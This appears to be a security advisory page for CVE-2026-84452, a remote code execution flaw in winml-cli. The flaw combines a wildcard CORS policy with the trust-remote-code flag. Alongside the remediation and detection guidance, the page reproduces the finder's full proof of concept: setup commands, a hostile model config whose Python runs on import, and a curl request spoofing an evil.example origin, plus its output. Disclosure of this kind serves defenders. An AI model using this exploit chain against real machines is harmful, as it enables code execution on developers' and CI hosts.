CVE-2026-84452: winml-cli: RCE via wildcard CORS + trust-remote-code

GHSA-96p9-rh4f-92cf HIGH CISA: ATTEND
Published September 8, 2026
CISO Take

winml-cli's HTTP-exposed CLI server binds to localhost but sets allow_origins to a wildcard, so any website a victim's browser visits can silently call its build and config endpoints and abuse the --trust-remote-code flag to make the local process import and execute attacker-controlled Python the moment a malicious model repo is loaded — full remote code execution with zero authentication. This isn't theoretical: the finder published a working end-to-end PoC that drops a marker file on disk purely from a victim loading a webpage while winml-cli is running, and the package has 1,143 downstream dependents, so any ML engineer or CI box with the CLI server active is a target. EPSS sits at a modest 0.945% (top 41st percentile) and it isn't in CISA KEV or paired with a public scanner template, so mass exploitation isn't underway yet, but the attack needs zero privileges and zero user interaction beyond normal browsing — the CVSS 'high' rating reflects that ease. Upgrade to winml-cli 0.4.0+ immediately; in the interim, disable the CLI HTTP server or lock allow_origins away from a wildcard and block --trust-remote-code on any host reachable by a browser. Treat every local AI dev tool that exposes an HTTP API — even one bound to 127.0.0.1 — as untrusted unless CORS is explicitly restricted and the endpoint requires a token.

Sources: NVD GitHub Advisory EPSS ATLAS OpenSSF

What is the risk?

Exploitability is effectively trivial once the pattern is known: no authentication, no privileges, no interaction with the vulnerable tool itself — only a victim with winml-cli's server running needs to load a page containing a few lines of JavaScript (classic drive-by / CSRF-against-localhost pattern, enabled here by allow_origins=["*"]). Impact is total: the payload executes as the server process's user via Python's import mechanism during AutoConfig.from_pretrained, meaning arbitrary code execution, not a degraded or partial compromise. Exposure is currently bounded by adoption (winml-cli is a young project) and by the fact the server defaults to loopback, but the OpenSSF Scorecard of 8.7/10 and active maintenance (last push 2026-09-05, patch merged same week) suggest a responsive vendor, while 14 other CVEs in the same package indicate this codebase attracts adversarial security research. Absent KEV listing and public exploit tooling, treat likelihood as currently opportunistic rather than mass-exploited, but the low bar to weaponize (a single hosted webpage) means that could change quickly.

How does the attack unfold?

Entry
Victim runs winml-cli's `serve` HTTP API locally (default 127.0.0.1:8000) and browses to any webpage, including an attacker-controlled or compromised one.
AML.T0078
Cross-origin abuse
Malicious JavaScript on that page issues a cross-origin fetch/POST to the local CLI API; the wildcard `allow_origins` policy lets the browser send it and read the response despite the loopback bind.
Exploitation
The request sets `trust_remote_code: true` and points `build`/`config` at an attacker-hosted model repo, causing `AutoConfig.from_pretrained` to import and execute the attacker's Python module.
AML.T0010.003
Impact
Arbitrary code runs as the local server's user, giving the attacker a foothold on the developer/CI machine with no authentication or privileges required.
AML.T0112

What systems are affected?

Package Ecosystem Vulnerable Range Patched
ONNX pip < 0.4.0 0.4.0
21.5K OpenSSF 8.7 1.2K dependents Pushed 7d ago 81% patched ~45d to patch Full package profile →

Do you use ONNX? You're affected.

How severe is it?

CVSS 3.1
N/A
EPSS
0.9%
chance of exploitation in 30 days
Higher than 60% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Moderate
Exploitation Confidence
medium
CISA SSVC: Public PoC
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What should I do?

1 step
  1. 1) Upgrade to winml-cli >= 0.4.0 immediately (fixed in GHSA-96p9-rh4f-92cf / PR #1321). 2) Until patched, do not run serve/cli_api.py on any machine with an active browser session, or restrict allow_origins to an explicit, non-wildcard list. 3) Disable or gate --trust-remote-code entirely for build and config commands unless the model source is fully vetted and pinned. 4) Add authentication (API key/token) in front of the CLI HTTP API even for loopback-bound services — never assume 127.0.0.1 binding is a sufficient trust boundary. 5) Detection: monitor for unexpected POSTs to /v1/cli/* endpoints carrying a non-null Origin header, and audit CI/dev hosts for unattended winml-cli server processes; review recent build/config invocations for unfamiliar model paths or repos.

What does CISA's SSVC say?

Decision Attend
Exploitation poc
Automatable No
Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity
ISO 42001
Annex A.6.2 - AI system security in the lifecycle
OWASP LLM Top 10
LLM03 - Supply Chain Vulnerabilities LLM07 - Insecure Plugin Design

Frequently Asked Questions

What is CVE-2026-84452?

winml-cli's HTTP-exposed CLI server binds to localhost but sets allow_origins to a wildcard, so any website a victim's browser visits can silently call its build and config endpoints and abuse the --trust-remote-code flag to make the local process import and execute attacker-controlled Python the moment a malicious model repo is loaded — full remote code execution with zero authentication. This isn't theoretical: the finder published a working end-to-end PoC that drops a marker file on disk purely from a victim loading a webpage while winml-cli is running, and the package has 1,143 downstream dependents, so any ML engineer or CI box with the CLI server active is a target. EPSS sits at a modest 0.945% (top 41st percentile) and it isn't in CISA KEV or paired with a public scanner template, so mass exploitation isn't underway yet, but the attack needs zero privileges and zero user interaction beyond normal browsing — the CVSS 'high' rating reflects that ease. Upgrade to winml-cli 0.4.0+ immediately; in the interim, disable the CLI HTTP server or lock allow_origins away from a wildcard and block --trust-remote-code on any host reachable by a browser. Treat every local AI dev tool that exposes an HTTP API — even one bound to 127.0.0.1 — as untrusted unless CORS is explicitly restricted and the endpoint requires a token.

Is CVE-2026-84452 actively exploited?

No confirmed active exploitation of CVE-2026-84452 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-84452?

1) Upgrade to winml-cli >= 0.4.0 immediately (fixed in GHSA-96p9-rh4f-92cf / PR #1321). 2) Until patched, do not run `serve/cli_api.py` on any machine with an active browser session, or restrict `allow_origins` to an explicit, non-wildcard list. 3) Disable or gate `--trust-remote-code` entirely for `build` and `config` commands unless the model source is fully vetted and pinned. 4) Add authentication (API key/token) in front of the CLI HTTP API even for loopback-bound services — never assume 127.0.0.1 binding is a sufficient trust boundary. 5) Detection: monitor for unexpected POSTs to `/v1/cli/*` endpoints carrying a non-null `Origin` header, and audit CI/dev hosts for unattended winml-cli server processes; review recent `build`/`config` invocations for unfamiliar model paths or repos.

What systems are affected by CVE-2026-84452?

This vulnerability affects the following AI/ML architecture patterns: model build/serving pipelines, local ML developer tooling, CI/CD pipelines using winml-cli, model registries/repos (trust boundary).

What is the CVSS score for CVE-2026-84452?

No CVSS score has been assigned yet.

What is the AI security impact?

Affected AI Architectures

model build/serving pipelineslocal ML developer toolingCI/CD pipelines using winml-climodel registries/repos (trust boundary)

MITRE ATLAS Techniques

AML.T0010.003 Model
AML.T0011.000 Unsafe AI Artifacts
AML.T0018.002 Embed Malware
AML.T0078 Drive-by Compromise

Compliance Controls Affected

EU AI Act: Article 15
ISO 42001: Annex A.6.2
OWASP LLM Top 10: LLM03, LLM07

What are the technical details?

Original Advisory

Case Description: MSRC Notes: Attachments: 1 file(s) attached (1 mp4) Summary: The vulnerability lies in the 'serve/cli_api.py' component of the 'winml-cli' project, which exposes all winml CLI commands over HTTP without authentication. Although it binds to localhost by default, it sets 'allow_origins' to a wildcard, allowing any website to interact with the endpoint. This, combined with the '--trust-remote-code' flag in 'build' and 'config' commands, enables an attacker to execute arbitrary code by hosting a malicious model repository. The root cause is the lack of proper authentication and validation of the 'trust_remote_code' parameter, leading to Remote Code Execution (RCE). Finder Description: WARNING: Original content contained invalid characters. Please see original submission in the event that the characters removed are relevant for the PoC. serve/cli_api.py exposes every winml CLI command over HTTP with no authentication. That's defensible on its own - it binds 127.0.0.1 by default, so the audience is this machine. But it also sets allow_origins=["*"] (cli_api.py:150, duplicated at app.py:219), and the victim's browser is a local process: the wildcard lets any website call the endpoint and read the reply, erasing the boundary the loopback bind draws. build and config both accept --trust-remote-code, and a JSON true becomes that flag unfiltered. An attacker-named model repo reaches AutoConfig.from_pretrained(..., trust_remote_code=True) (_autoconfig.py:191), where transformers imports Python from that repo - RCE as the server user from any page the victim loads. The payload runs on import, so the command's exit_code: 1 is irrelevant. Reported Repro Steps: 1. Setup git clone -q https://github.com/microsoft/winml-cli.git ~/winml-poc && cd ~/winml-poc && mkdir -p temp /tmp/poc/evil/pwn python3 -m pip install -q --target /tmp/poc/deps onnx onnxruntime transformers fastapi uvicorn click 2. Hostile model repo (payload is module-level → runs on import) cat > /tmp/poc/evil/pwn/config.json <<'EOF' {"model_type":"pwn","auto_map":{"AutoConfig":"configuration_pwn.PwnConfig"}} EOF cat > /tmp/poc/evil/pwn/configuration_pwn.py <<'EOF' import getpass, os, socket, time from transformers import PretrainedConfig with open(os.environ["PWN_MARKER"], "w") as f: f.write(f"ARBITRARY CODE EXECUTION\ntime={time.strftime('%F %T')}\n" f"user={getpass.getuser()}\nhost={socket.gethostname()}\npid={os.getpid()}\n") class PwnConfig(PretrainedConfig): model_type = "pwn" EOF 3. Start server Windows: python -m uvicorn winml.modelkit.serve.cli_api:app --host 127.0.0.1 --port 8000 Linux needs a stub for the Windows-only PDH module (no security relevance): cat > /tmp/poc/serve.py <<'EOF' import os, sys, types, uvicorn m = types.ModuleType("winml.modelkit.session.monitor._pdh") class PdhPoller: def __init__(s,*a,**k): pass def start(s,*a,**k): pass def stop(s,*a,**k): pass def poll(s,*a,**k): return {} def sample(s,*a,**k): return {} def close(s,*a,**k): pass m.PdhPoller = PdhPoller; m.PDH_AVAILABLE = False sys.modules["winml.modelkit.session.monitor._pdh"] = m from winml.modelkit.serve.cli_api import app uvicorn.run(app, host="127.0.0.1", port=8000, log_level="warning") EOF cd ~/winml-poc && PWN_MARKER=~/winml-poc/temp/PWNED PYTHONPATH=src:/tmp/poc/deps setsid nohup python3 /tmp/poc/serve.py >/tmp/poc/log 2>&1 </dev/null & sleep 8; until curl -sf -o /dev/null -m 1 http://127.0.0.1:8000/openapi.json; do sleep 1; done; echo up 4. Exploit curl -s -D- -o /dev/null -X POST http://127.0.0.1:8000/v1/cli/build \ -H 'Origin: https://evil.example' -H 'Content-Type: application/json' \ -d '{"args":{"model":"/tmp/poc/evil/pwn","output_dir":"/tmp/poc/out","trust_remote_code":true}}' \ | grep -iE '^HTTP|^access-control-allow-origin' cat ~/winml-poc/temp/PWNED HTTP/1.1 200 OK access-control-allow-origin: * ARBITRARY CODE EXECUTION time=2026-08-17 11:24:35 user=shrini host=Shrinivasan pid=11616

Exploitation Scenario

An attacker stands up a webpage (via malvertising, a compromised blog, or a targeted link sent to an ML engineer) containing JavaScript that silently POSTs to `http://127.0.0.1:8000/v1/cli/build` with `trust_remote_code: true` pointing at an attacker-hosted model repo. The victim only needs winml-cli's server running in the background and to browse to that page in any tab — the wildcard CORS policy lets the cross-origin request through and lets the page read the response. On the server side, `AutoConfig.from_pretrained` resolves the malicious repo's `auto_map` entry and imports the attacker's Python module, which executes immediately on import (regardless of the command's reported exit code), giving the attacker code execution as the local server's user and a foothold to pivot into the developer's or CI environment.

Weaknesses (CWE)

CWE-306 — Missing Authentication for Critical Function: The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

  • [Architecture and Design] Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port. In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate
  • [Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Source: MITRE CWE corpus.

Timeline

Published
September 8, 2026
Last Modified
September 8, 2026
First Seen
September 9, 2026

Related Vulnerabilities